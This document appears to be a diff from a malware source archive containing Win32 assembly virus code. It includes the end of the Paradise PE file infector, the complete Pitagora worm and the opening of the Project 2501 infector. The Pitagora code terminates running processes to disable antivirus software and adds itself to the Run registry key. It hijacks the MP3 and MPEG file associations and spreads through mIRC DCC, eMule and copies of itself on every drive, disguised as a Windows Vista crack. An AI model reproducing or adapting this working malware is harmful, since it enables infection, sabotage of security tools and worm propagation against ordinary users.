cmp edx,eax ; Are them equal?
|
||||
jz @?_4 ; if yes, we got it
|
||||
|
||||
pop esi ; Restore ptr to api name
|
||||
add esi,4 ; Get the next
|
||||
inc word ptr [ebp+Counter] ; And increase the counter
|
||||
jmp @?_3 ; Get another api!
|
||||
@?_4:
|
||||
pop esi ; Remove shit from stack
|
||||
movzx eax,word ptr [ebp+Counter] ; AX = Counter
|
||||
shl eax,1 ; *2 (it's an array of words)
|
||||
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
|
||||
xor esi,esi ; Clear ESI
|
||||
xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0
|
||||
lodsw ; Get ordinal in AX
|
||||
shl eax,2 ; And with it we go to the
|
||||
add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of
|
||||
xchg esi,eax ; dwords)
|
||||
lodsd ; Get Address of API RVA
|
||||
add eax,[ebp+kernel] ; and normalize!! That's it!
|
||||
ret
|
||||
GetAPI_ET_CRC32 endp
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Some useful subroutines :
|
||||
; ? ??????---???
|
||||
|
||||
Align proc
|
||||
push edx
|
||||
xor edx,edx
|
||||
push eax
|
||||
div ecx
|
||||
pop eax
|
||||
sub ecx,edx
|
||||
add eax,ecx
|
||||
pop edx
|
||||
ret
|
||||
Align endp
|
||||
|
||||
TruncFile proc
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push ecx
|
||||
push dword ptr [ebp+FileHandle]
|
||||
apicall _SetFilePointer
|
||||
|
||||
push dword ptr [ebp+FileHandle]
|
||||
apicall _SetEndOfFile
|
||||
ret
|
||||
TruncFile endp
|
||||
|
||||
OpenFile proc
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push 00000003h
|
||||
push eax
|
||||
inc eax
|
||||
push eax
|
||||
push 80000000h or 40000000h
|
||||
push esi
|
||||
apicall _CreateFileA
|
||||
ret
|
||||
OpenFile endp
|
||||
|
||||
CreateMap proc
|
||||
xor eax,eax
|
||||
push eax
|
||||
push ecx
|
||||
push eax
|
||||
push 00000004h
|
||||
push eax
|
||||
push dword ptr [ebp+FileHandle]
|
||||
apicall _CreateFileMappingA
|
||||
ret
|
||||
CreateMap endp
|
||||
|
||||
MapFile proc
|
||||
xor eax,eax
|
||||
push ecx
|
||||
push eax
|
||||
push eax
|
||||
push 00000002h
|
||||
push dword ptr [ebp+MapHandle]
|
||||
apicall _MapViewOfFile
|
||||
ret
|
||||
MapFile endp
|
||||
|
||||
CRC32 proc
|
||||
cld
|
||||
xor ecx,ecx ; Optimized by me - 2 bytes
|
||||
dec ecx ; less
|
||||
mov edx,ecx
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0EDB8h
|
||||
NoCRC: dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec edi ; Another fool byte less
|
||||
jnz NextByteCRC
|
||||
not edx
|
||||
not ecx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
ret
|
||||
CRC32 endp
|
||||
|
||||
payload proc
|
||||
lea eax,[ebp+SYSTEMTIME]
|
||||
push eax
|
||||
apicall _GetSystemTime
|
||||
|
||||
cmp word ptr [ebp+ST_wMonth],6 ; On the sixth month...
|
||||
jnz no_payload
|
||||
|
||||
cmp word ptr [ebp+ST_wDay],6 ; On the sixth day...
|
||||
jnz no_payload
|
||||
|
||||
lea eax,[ebp+szUSER32]
|
||||
push eax
|
||||
apicall _LoadLibraryA
|
||||
|
||||
call @?_1
|
||||
db "MessageBoxA",0
|
||||
@?_1: push eax
|
||||
apicall _GetProcAddress
|
||||
|
||||
push 00001000h
|
||||
lea ebx,[ebp+mark_]
|
||||
push ebx
|
||||
lea ebx,[ebp+song]
|
||||
push ebx
|
||||
push 00000000h
|
||||
call eax
|
||||
|
||||
no_payload:
|
||||
ret
|
||||
payload endp
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Virus data :
|
||||
; ? ??????---???
|
||||
|
||||
mark_ db "[Win32.Paradise v1.00]",0
|
||||
|
||||
song db "Late at night i found myself again",10
|
||||
db "wondering and watching TV",10
|
||||
db "I can't believe what's on the screen",10
|
||||
db "something that i wouldn't like to see",10
|
||||
db "Many rare species will perish soon",10
|
||||
db "and we'll be short on food",10
|
||||
db "Why do we have to be so selfish",10
|
||||
db "we have to change our attitude",10
|
||||
db "I know that i am not",10
|
||||
db "the only one that's worried",10
|
||||
db "Why don't we all",10
|
||||
db "wake up, and and realize",10
|
||||
db "Like the birds in the sky",10
|
||||
db "we are flying so high",10
|
||||
db "without making anykind of sacrifice",10
|
||||
db "We've got so little time",10
|
||||
db "to undo this crime",10
|
||||
db "or we'll lose our paradise",10
|
||||
db "It seems to me that there's no sense at all",10
|
||||
db "nobody cares, it's always the same",10
|
||||
db "Mother nature's crying out in pain",10
|
||||
db "I know we are the ones to blame",10,10
|
||||
db "Paradise [ Stratovarius ]",0
|
||||
|
||||
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
|
||||
|
||||
EXE_MASK db "*.EXE",0
|
||||
|
||||
szUSER32 db "USER32",0
|
||||
|
||||
@@NamezCRC32 label byte
|
||||
@FindFirstFileA dd 0AE17EBEFh
|
||||
@FindNextFileA dd 0AA700106h
|
||||
@FindClose dd 0C200BE21h
|
||||
@CreateFileA dd 08C892DDFh
|
||||
@DeleteFileA dd 0DE256FDEh
|
||||
@SetFilePointer dd 085859D42h
|
||||
@SetFileAttributesA dd 03C19E536h
|
||||
@CloseHandle dd 068624A9Dh
|
||||
@GetCurrentDirectoryA dd 0EBC6C18Bh
|
||||
@SetCurrentDirectoryA dd 0B2DBD7DCh
|
||||
@GetWindowsDirectoryA dd 0FE248274h
|
||||
@GetSystemDirectoryA dd 0593AE7CEh
|
||||
@CreateFileMappingA dd 096B2D96Ch
|
||||
@MapViewOfFile dd 0797B49ECh
|
||||
@UnmapViewOfFile dd 094524B42h
|
||||
@SetEndOfFile dd 059994ED6h
|
||||
@GetProcAddress dd 0FFC97C1Fh
|
||||
@LoadLibraryA dd 04134D1ADh
|
||||
@GetSystemTime dd 075B7EBE8h
|
||||
db 0BBh
|
||||
|
||||
align dword
|
||||
|
||||
virus_end label byte
|
||||
|
||||
heap_start label byte
|
||||
|
||||
kernel dd kernel_
|
||||
infections dd 00000000h
|
||||
NewSize dd 00000000h
|
||||
SearchHandle dd 00000000h
|
||||
FileHandle dd 00000000h
|
||||
MapHandle dd 00000000h
|
||||
MapAddress dd 00000000h
|
||||
AddressTableVA dd 00000000h
|
||||
NameTableVA dd 00000000h
|
||||
OrdinalTableVA dd 00000000h
|
||||
Counter dw 0000h
|
||||
|
||||
@@Offsetz label byte
|
||||
_FindFirstFileA dd 00000000h
|
||||
_FindNextFileA dd 00000000h
|
||||
_FindClose dd 00000000h
|
||||
_CreateFileA dd 00000000h
|
||||
_DeleteFileA dd 00000000h
|
||||
_SetFilePointer dd 00000000h
|
||||
_SetFileAttributesA dd 00000000h
|
||||
_CloseHandle dd 00000000h
|
||||
_GetCurrentDirectoryA dd 00000000h
|
||||
_SetCurrentDirectoryA dd 00000000h
|
||||
_GetWindowsDirectoryA dd 00000000h
|
||||
_GetSystemDirectoryA dd 00000000h
|
||||
_CreateFileMappingA dd 00000000h
|
||||
_MapViewOfFile dd 00000000h
|
||||
_UnmapViewOfFile dd 00000000h
|
||||
_SetEndOfFile dd 00000000h
|
||||
_GetProcAddress dd 00000000h
|
||||
_LoadLibraryA dd 00000000h
|
||||
_GetSystemTime dd 00000000h
|
||||
|
||||
MAX_PATH equ 260
|
||||
|
||||
FILETIME STRUC
|
||||
FT_dwLowDateTime dd ?
|
||||
FT_dwHighDateTime dd ?
|
||||
FILETIME ENDS
|
||||
|
||||
WIN32_FIND_DATA label byte
|
||||
WFD_dwFileAttributes dd ?
|
||||
WFD_ftCreationTime FILETIME ?
|
||||
WFD_ftLastAccessTime FILETIME ?
|
||||
WFD_ftLastWriteTime FILETIME ?
|
||||
WFD_nFileSizeHigh dd ?
|
||||
WFD_nFileSizeLow dd ?
|
||||
WFD_dwReserved0 dd ?
|
||||
WFD_dwReserved1 dd ?
|
||||
WFD_szFileName db MAX_PATH dup (?)
|
||||
WFD_szAlternateFileName db 13 dup (?)
|
||||
db 03 dup (?)
|
||||
|
||||
directories label byte
|
||||
|
||||
WindowsDir db 7Fh dup (00h)
|
||||
SystemDir db 7Fh dup (00h)
|
||||
OriginDir db 7Fh dup (00h)
|
||||
dirs2inf equ (($-directories)/7Fh)
|
||||
mirrormirror db dirs2inf
|
||||
|
||||
SYSTEMTIME label byte
|
||||
ST_wYear dw ?
|
||||
ST_wMonth dw ?
|
||||
ST_wDayOfWeek dw ?
|
||||
ST_wDay dw ?
|
||||
ST_wHour dw ?
|
||||
ST_wMinute dw ?
|
||||
ST_wSecond dw ?
|
||||
ST_wMilliseconds dw ?
|
||||
|
||||
heap_end label byte
|
||||
|
||||
fakehost:
|
||||
pop dword ptr fs:[0]
|
||||
pop eax
|
||||
popfd
|
||||
popad
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push offset szTitle
|
||||
push offset szMessage
|
||||
push eax
|
||||
call MessageBoxA
|
||||
|
||||
push 00000000h
|
||||
call ExitProcess
|
||||
|
||||
end Paradise
|
||||
|
||||
; Komandos de autodefensa animal!
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
3263
Win32/Win32.Parrot.asm
Normal file
3263
Win32/Win32.Parrot.asm
Normal file
File diff suppressed because it is too large
Load Diff
490
Win32/Win32.Pitagora.asm
Normal file
490
Win32/Win32.Pitagora.asm
Normal file
@ -0,0 +1,490 @@
|
||||
;;; un piccolo worm in assembler ... (cazzuto ma non troppo :-))
|
||||
.586
|
||||
.model flat
|
||||
;;;; API NECESSARIE ! ;;;;
|
||||
extrn ExitProcess:PROC
|
||||
extrn ShellAboutA:PROC
|
||||
extrn CopyFileA:PROC
|
||||
extrn GetCommandLineA:PROC
|
||||
extrn lstrcpy:PROC
|
||||
extrn lstrlen:PROC
|
||||
extrn lstrcat:PROC
|
||||
extrn GetWindowsDirectoryA:PROC
|
||||
extrn GetSystemDirectoryA:PROC
|
||||
extrn RegOpenKeyA:PROC
|
||||
extrn RegSetValueExA:PROC
|
||||
extrn RegSetValueA:PROC
|
||||
extrn RegCloseKey:PROC
|
||||
extrn RegQueryValueExA:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn CreateThread:PROC
|
||||
extrn Sleep:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn CreateMutexA:PROC
|
||||
extrn GetLastError:PROC
|
||||
extrn CreateToolhelp32Snapshot:PROC
|
||||
extrn Process32First:PROC
|
||||
extrn Process32Next:PROC
|
||||
extrn GetCurrentProcessId:PROC
|
||||
extrn OpenProcess:PROC
|
||||
extrn TerminateProcess:PROC
|
||||
extrn lstrcmpi:PROC
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;; Costanti ;;;;
|
||||
MAX_PATH equ 260
|
||||
HKEY_LOCAL_MACHINE equ 80000002h
|
||||
HKEY_CURRENT_USER equ 80000001h
|
||||
REG_SZ equ 1
|
||||
OPEN_EXISTING equ 3
|
||||
CREATE_NEW equ 1
|
||||
CREATE_ALWAYS equ 2
|
||||
GENERIC_READ equ 80000000h
|
||||
GENERIC_WRITE equ 40000000h
|
||||
FILE_SHARE_READ equ 1
|
||||
FILE_SHARE_WRITE equ 2
|
||||
ERROR_ALREADY_EXISTS equ 183
|
||||
PROCESS_ALL_ACCESS equ 00000000h
|
||||
;;;;;;;;;;;;;;;;;;
|
||||
.data
|
||||
;;;; Variabili e MsgS ;;;;
|
||||
MyPath db 260 dup(?)
|
||||
WinPATH db 260 dup(?)
|
||||
SysPATH db 260 dup(?)
|
||||
WormName1 db "\sys.exe",0
|
||||
WormName2 db "\mon.exe",0
|
||||
StartUpKey db "Software\Microsoft\Windows\CurrentVersion\Run", 0
|
||||
CheckFile db "\Pitagora.teo",0
|
||||
CheckFilePath db 260 dup(?)
|
||||
KeyName db "SystemMonitor",0
|
||||
Msg db "You have been infected by Pitagora !!! by WarGame !!!!",0
|
||||
Titolo db "Is the war right ???? Think about this ...",0
|
||||
HKey dd 00000000h
|
||||
Tid dd 00000000h
|
||||
CopyName db "C:\AVG-Antivirus.exe",0
|
||||
MSG_Interno db "Anti Soviet and Anti American !!!",0
|
||||
Drive db 'C'
|
||||
MircPath db 260 dup(?)
|
||||
MircKey db "Software\Microsoft\Windows\CurrentVersion\Uninstall\mIRC",0
|
||||
MircKeyName db "UninstallString",0
|
||||
EmuleKey db "Software\eMule",0
|
||||
EmuleKeyName db "Install Path",0
|
||||
EmuleWorm db "\Incoming\WINDOWS_VISTA_CRACK.exe",0
|
||||
EmulePath db 260 dup (?)
|
||||
BufLen dd 260
|
||||
ScriptIni db "script.ini",0
|
||||
MIRCWORM db "[Script]",0dh,0ah ,"n0=on 1:join:#: { if ( $nick == $me ) halt",0dh,0ah ,"n1=else /dcc send $nick WINDOWS_VISTA_CRACK_CHANGE_MY_EXSTENSION_TO_EXE_TO_GO.txt",0
|
||||
MP3Key1 db "SOFTWARE\Classes\mp3file\shell\open\command",0
|
||||
MP3Key2 db "SOFTWARE\Classes\mp3file\shell\play\command",0
|
||||
MPEGKey1 db "SOFTWARE\Classes\mpegfile\shell\open\command",0
|
||||
MPEGKey2 db "SOFTWARE\Classes\mpegfile\shell\play\command",0
|
||||
FD dd 00000000h
|
||||
Scritti dd 00000000h
|
||||
OpenMe_Path db 260 dup(?)
|
||||
OpenMe db "WINDOWS_VISTA_CRACK_CHANGE_MY_EXSTENSION_TO_EXE_TO_GO.txt",0
|
||||
MUT db "WOOWOO",0
|
||||
MSGPayLoad db "!!!! AH...AH...this is for Pitagora ... I am Italian and you? !!!!",0
|
||||
;;;;;;;;;;;;;;;;;;;
|
||||
Snap dd 00000000h
|
||||
TH32CS_SNAPPROCESS EQU 00000002h
|
||||
PROCESS_TERMINATE equ 00000001h
|
||||
PROCESSENTRY32 struct
|
||||
dwSize DD 0
|
||||
cntUsage DD 0
|
||||
th32ProcessID DD 0
|
||||
th32DefaultHeapID DD 0
|
||||
th32ModuleID DD 0
|
||||
cntThreads DD 0
|
||||
th32ParentProcessID DD 0
|
||||
pcPriClassBase DD 0
|
||||
dwFlags DD 0
|
||||
szExeFile DB MAX_PATH DUP(0)
|
||||
PROCESSENTRY32 ends
|
||||
prentry PROCESSENTRY32 <>
|
||||
MyID dd 00000000h
|
||||
EX db "explorer.exe",0
|
||||
p_RET dd 00000000h
|
||||
;;;;;;;;;;;;;;;;;;;
|
||||
.code
|
||||
Pitagora:
|
||||
Sono_Solo:
|
||||
push offset MUT
|
||||
push 00000001h
|
||||
push 00000000h
|
||||
call CreateMutexA
|
||||
call GetLastError
|
||||
cmp eax,ERROR_ALREADY_EXISTS
|
||||
je Esci
|
||||
Ottieni_path:
|
||||
call GetCommandLineA
|
||||
push eax
|
||||
push offset MyPath
|
||||
call lstrcpy
|
||||
push offset MyPath
|
||||
call lstrlen
|
||||
xor ebx,ebx
|
||||
mov [MyPath+eax-2],bh
|
||||
push offset [MyPath+1]
|
||||
push offset MyPath
|
||||
call lstrcpy
|
||||
Ottieni_path_OS:
|
||||
push 260
|
||||
push offset WinPATH
|
||||
call GetWindowsDirectoryA
|
||||
push offset WinPATH
|
||||
push offset CheckFilePath
|
||||
call lstrcpy
|
||||
push 260
|
||||
push offset SysPATH
|
||||
call GetSystemDirectoryA
|
||||
Crea_Path_Worms:
|
||||
push offset WormName1
|
||||
push offset WinPATH
|
||||
call lstrcat
|
||||
push offset WormName2
|
||||
push offset SysPATH
|
||||
call lstrcat
|
||||
Anti_AntiVirus:
|
||||
call FuckAV ; ... termina i processi non graditi ...
|
||||
Controlla_Se_Infetto:
|
||||
push offset CheckFile
|
||||
push offset CheckFilePath
|
||||
call lstrcat
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push OPEN_EXISTING
|
||||
push 00000000h
|
||||
push FILE_SHARE_READ
|
||||
push GENERIC_READ
|
||||
push offset CheckFilePath
|
||||
call CreateFileA
|
||||
cmp eax,-1
|
||||
jne Worming
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push CREATE_NEW
|
||||
push 00000000h
|
||||
push FILE_SHARE_WRITE
|
||||
push GENERIC_WRITE
|
||||
push offset CheckFilePath
|
||||
call CreateFileA
|
||||
push eax
|
||||
call CloseHandle
|
||||
Copia_file:
|
||||
push 00000000h
|
||||
push offset WinPATH
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
push 00000000h
|
||||
push offset SysPATH
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
StartupAutomatico:
|
||||
push offset HKey
|
||||
push offset StartUpKey
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne Esci
|
||||
push offset SysPATH
|
||||
call lstrlen
|
||||
mov ebx,1
|
||||
add eax,ebx
|
||||
push eax
|
||||
push offset SysPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push offset KeyName
|
||||
push HKey
|
||||
call RegSetValueExA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
Esci:
|
||||
push 00000000h
|
||||
push offset Msg
|
||||
push offset Titolo
|
||||
push 00000000h
|
||||
call ShellAboutA
|
||||
xor edx,edx
|
||||
push edx
|
||||
call ExitProcess
|
||||
Worming:
|
||||
push eax
|
||||
call CloseHandle
|
||||
INFETTA_MIRC:
|
||||
push offset HKey
|
||||
push offset MircKey
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne INFETTA_EMULE
|
||||
push offset BufLen
|
||||
push offset MircPath
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push offset MircKeyName
|
||||
push HKey
|
||||
call RegQueryValueExA
|
||||
cmp eax,0
|
||||
jne INFETTA_EMULE
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
push offset [MircPath+1]
|
||||
push offset [MircPath]
|
||||
call lstrcpy
|
||||
push offset MircPath
|
||||
xor ecx,ecx
|
||||
Fuck:
|
||||
cmp byte ptr[MircPath+ecx],'"'
|
||||
je OK
|
||||
inc ecx
|
||||
jmp Fuck
|
||||
OK:
|
||||
xor ebx,ebx
|
||||
mov [MircPath+ecx],bh
|
||||
xor ecx,ecx
|
||||
Fuck2:
|
||||
cmp byte ptr[MircPath+ecx],'.'
|
||||
je OK2
|
||||
inc ecx
|
||||
jmp Fuck2
|
||||
OK2:
|
||||
xor ebx,ebx
|
||||
mov [MircPath+ecx-4],bh
|
||||
push offset MircPath
|
||||
push offset OpenMe_Path
|
||||
call lstrcpy
|
||||
push offset OpenMe
|
||||
push offset OpenMe_Path
|
||||
call lstrcat
|
||||
push offset ScriptIni
|
||||
push offset MircPath
|
||||
call lstrcat
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push CREATE_ALWAYS
|
||||
push 00000000h
|
||||
push FILE_SHARE_WRITE
|
||||
push GENERIC_WRITE
|
||||
push offset MircPath
|
||||
call CreateFileA
|
||||
cmp eax,-1
|
||||
je INFETTA_EMULE
|
||||
mov FD,eax
|
||||
push 00000000h
|
||||
push offset Scritti
|
||||
push offset MIRCWORM
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset MIRCWORM
|
||||
push FD
|
||||
call WriteFile
|
||||
push FD
|
||||
call CloseHandle
|
||||
push offset MircPath
|
||||
call lstrlen
|
||||
push offset [MircPath+eax-11]
|
||||
push offset MircPath
|
||||
call lstrcpy
|
||||
push 00000000h
|
||||
push offset OpenMe_Path
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
INFETTA_EMULE:
|
||||
push offset HKey
|
||||
push offset EmuleKey
|
||||
push HKEY_CURRENT_USER
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne MP3_FUCKING
|
||||
push offset BufLen
|
||||
push offset EmulePath
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push offset EmuleKeyName
|
||||
push HKey
|
||||
call RegQueryValueExA
|
||||
cmp eax,0
|
||||
jne MP3_FUCKING
|
||||
push offset EmuleWorm
|
||||
push offset EmulePath
|
||||
call lstrcat
|
||||
push 00000000h
|
||||
push offset EmulePath
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
MP3_FUCKING:
|
||||
push offset HKey
|
||||
push offset MP3Key1
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne MPEG_FUCKING
|
||||
push offset WinPATH
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset WinPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push HKey
|
||||
call RegSetValueA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
push offset HKey
|
||||
push offset MP3Key2
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne MPEG_FUCKING
|
||||
push offset WinPATH
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset WinPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push HKey
|
||||
call RegSetValueA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
MPEG_FUCKING:
|
||||
push offset HKey
|
||||
push offset MPEGKey1
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne Vai
|
||||
push offset WinPATH
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset WinPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push HKey
|
||||
call RegSetValueA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
push offset HKey
|
||||
push offset MPEGKey2
|
||||
push HKEY_LOCAL_MACHINE
|
||||
call RegOpenKeyA
|
||||
cmp eax,0
|
||||
jne Vai
|
||||
push offset WinPATH
|
||||
call lstrlen
|
||||
push eax
|
||||
push offset WinPATH
|
||||
push REG_SZ
|
||||
push 00000000h
|
||||
push HKey
|
||||
call RegSetValueA
|
||||
push HKey
|
||||
call RegCloseKey
|
||||
Vai:
|
||||
push offset Tid
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push offset Copiati
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
call CreateThread
|
||||
push offset Tid
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
push offset PayLoad
|
||||
push 00000000h
|
||||
push 00000000h
|
||||
call CreateThread
|
||||
Dormi:
|
||||
push 186a0h
|
||||
call Sleep
|
||||
xor ecx,ecx
|
||||
cmp ecx,0
|
||||
je Dormi
|
||||
;;;; Thread di autocopia ;;;;
|
||||
Copiati PROC
|
||||
Copia:
|
||||
mov ch,'C'
|
||||
mov Drive,ch
|
||||
mov [CopyName+0],ch
|
||||
xor ebx,ebx
|
||||
Tutti_I_drives:
|
||||
push 00000000h
|
||||
push offset CopyName
|
||||
push offset MyPath
|
||||
call CopyFileA
|
||||
push 4e20h
|
||||
call Sleep
|
||||
add Drive,1
|
||||
mov ch,Drive
|
||||
mov [CopyName+0],ch
|
||||
cmp ch,'Z'+1
|
||||
jne Tutti_I_drives
|
||||
cmp ebx,0
|
||||
je Copia
|
||||
Copiati ENDP
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
;;;; PayLoad ;;;;
|
||||
PayLoad PROC
|
||||
Loop:
|
||||
xor ecx,ecx
|
||||
push 1200000
|
||||
call Sleep
|
||||
push 00000000h
|
||||
push offset MSGPayLoad
|
||||
push offset Titolo
|
||||
push 00000000h
|
||||
call ShellAboutA
|
||||
cmp ecx,0
|
||||
je Loop
|
||||
PayLoad ENDP
|
||||
;;;;;;;;;;;;;;;;;
|
||||
FuckAV PROC
|
||||
My_ID:
|
||||
call GetCurrentProcessId
|
||||
mov MyID,eax
|
||||
Inializza:
|
||||
push 00000000h
|
||||
push TH32CS_SNAPPROCESS
|
||||
call CreateToolhelp32Snapshot
|
||||
cmp eax,-1
|
||||
je Ritorna
|
||||
mov Snap,eax
|
||||
Primo:
|
||||
push offset prentry
|
||||
push Snap
|
||||
mov prentry.dwSize,296
|
||||
call Process32First
|
||||
cmp eax,0
|
||||
je Ritorna
|
||||
Altri:
|
||||
push offset prentry
|
||||
push Snap
|
||||
mov prentry.dwSize,296
|
||||
call Process32Next
|
||||
mov p_RET,eax
|
||||
Controlla_se_explorer:
|
||||
push offset prentry.szExeFile
|
||||
push offset EX
|
||||
call lstrcmpi
|
||||
cmp eax,0
|
||||
je Ancora
|
||||
Controlla_id:
|
||||
mov edx,MyID
|
||||
cmp edx,prentry.th32ProcessID
|
||||
je Ancora
|
||||
Termina:
|
||||
push dword ptr[prentry.th32ProcessID]
|
||||
push 00000000h
|
||||
push PROCESS_TERMINATE
|
||||
call OpenProcess
|
||||
push 00000000h
|
||||
push eax
|
||||
call TerminateProcess
|
||||
Ancora:
|
||||
cmp p_RET,0
|
||||
jne Altri
|
||||
Ritorna:
|
||||
ret
|
||||
FuckAV ENDP
|
||||
;;;;;;;;;;;;;;;;;
|
||||
end Pitagora
|
3192
Win32/Win32.Plexar.asm
Normal file
3192
Win32/Win32.Plexar.asm
Normal file
File diff suppressed because it is too large
Load Diff
2327
Win32/Win32.PolutoSP.asm
Normal file
2327
Win32/Win32.PolutoSP.asm
Normal file
File diff suppressed because it is too large
Load Diff
578
Win32/Win32.Project2501.asm
Normal file
578
Win32/Win32.Project2501.asm
Normal file
@ -0,0 +1,578 @@
|
||||
comment *
|
||||
|
||||
Name: Project 2501
|
||||
OS: Win32
|
||||
Coder Belial
|
||||
|
||||
Heya ,
|
||||
this is my first Pe-infector.Wow ,a great feeling
|
||||
to have finished it.
|
||||
Credits go out to Lord Julus and BillyBelcebub ,because
|
||||
of their win32 tuturials.Without them ,i would never
|
||||
have finished this creation.It took me nearly a year to of reading
|
||||
to understand all the important aspects of Win32-Assembly.
|
||||
Greetings go out Wallo ,Raven and the whole Virus-channel on undernet.
|
||||
Also greetings to BillyBoy from Micro$oft.Thanx for your
|
||||
nice viriiparadise-OS.But not soooooo much bugs in future ,ok?
|
||||
|
||||
I tested this virus only under Win98 ,so I dont know
|
||||
wether it works under WinME ,WinNT or Win95.But Im sure somebody will try
|
||||
it out.
|
||||
The Virus is a runtime exe infector.It infects all files
|
||||
in current dir and all his subdirectories.After this ,it makes
|
||||
one dotdot and infects new files and subdirs until it is
|
||||
in c:\ or five dotdots are done.The only payload my virus has
|
||||
is a directory on the desktop named "Project2501".It is
|
||||
created each run.Im thinking of putting a txtfile
|
||||
in this directory ,but I have no real motivation
|
||||
at the moment.A bedder payload is in progress.And
|
||||
a nice encryption ,I hope.If you think this virus
|
||||
may be a bit incomplete (no encryption and no kewl
|
||||
payload) than i have to say:
|
||||
With releasing this source i release a loaded
|
||||
gun.In the wrong hands ,it could be awful for some
|
||||
harmless user.So if I release guns I dont want to release
|
||||
"full-automatic-guns" .Thats for now
|
||||
|
||||
|
||||
BeLiAL
|
||||
|
||||
*
|
||||
|
||||
.586
|
||||
.model flat
|
||||
|
||||
.data
|
||||
|
||||
db 0
|
||||
db 'This is the first generation of project2501'
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call delta_setup
|
||||
|
||||
delta_setup:
|
||||
pop ebp
|
||||
sub ebp,offset delta_setup
|
||||
|
||||
get_those_apis:
|
||||
mov eax,dword ptr [esp]
|
||||
and eax,0ffff0000h
|
||||
mov ecx,0
|
||||
call find_mz_and_pe
|
||||
call find_all_apis
|
||||
|
||||
Infection_part:
|
||||
mov byte ptr [ebp+dir_counter],0
|
||||
mov byte ptr [ebp+am_i_up],0
|
||||
mov eax,dword ptr [ebp+image_base]
|
||||
mov dword ptr [ebp+image_base2],eax
|
||||
mov eax,dword ptr [ebp+old_entry_point]
|
||||
mov dword ptr [ebp+old_entry_point2],eax
|
||||
call seek_and_destroy
|
||||
|
||||
payload_part:
|
||||
call payload
|
||||
|
||||
reanimation_part:
|
||||
cmp ebp,0
|
||||
je exit_here
|
||||
mov eax,dword ptr [ebp+image_base2]
|
||||
add eax,dword ptr [ebp+old_entry_point2]
|
||||
jmp eax
|
||||
|
||||
exit_here:
|
||||
push 0
|
||||
call [ebp+ExitProcess]
|
||||
|
||||
find_mz_and_pe proc
|
||||
add ecx,1
|
||||
cmp ecx,11
|
||||
je mz_not_found
|
||||
mov bx,word ptr [eax]
|
||||
cmp bx,'ZM'
|
||||
je find_the_pe
|
||||
sub eax,010000h
|
||||
jmp find_mz_and_pe
|
||||
find_the_pe:
|
||||
mov esi,eax
|
||||
mov ebx,dword ptr [eax+3ch]
|
||||
add eax,ebx
|
||||
mov bx,word ptr [eax]
|
||||
cmp bx,'EP'
|
||||
jne mz_not_found
|
||||
mov dword ptr [ebp+kernelbase],esi
|
||||
mov dword ptr [ebp+kernelpeheader],eax
|
||||
ret
|
||||
mz_not_found:
|
||||
jmp reanimation_part
|
||||
|
||||
find_mz_and_pe endp
|
||||
|
||||
find_apis proc
|
||||
pop esi
|
||||
pop eax
|
||||
mov dword ptr [ebp+apinameoffset],eax
|
||||
pop eax
|
||||
mov dword ptr [ebp+apilenght],eax
|
||||
pop eax
|
||||
mov dword ptr [ebp+putitthere],eax
|
||||
push esi
|
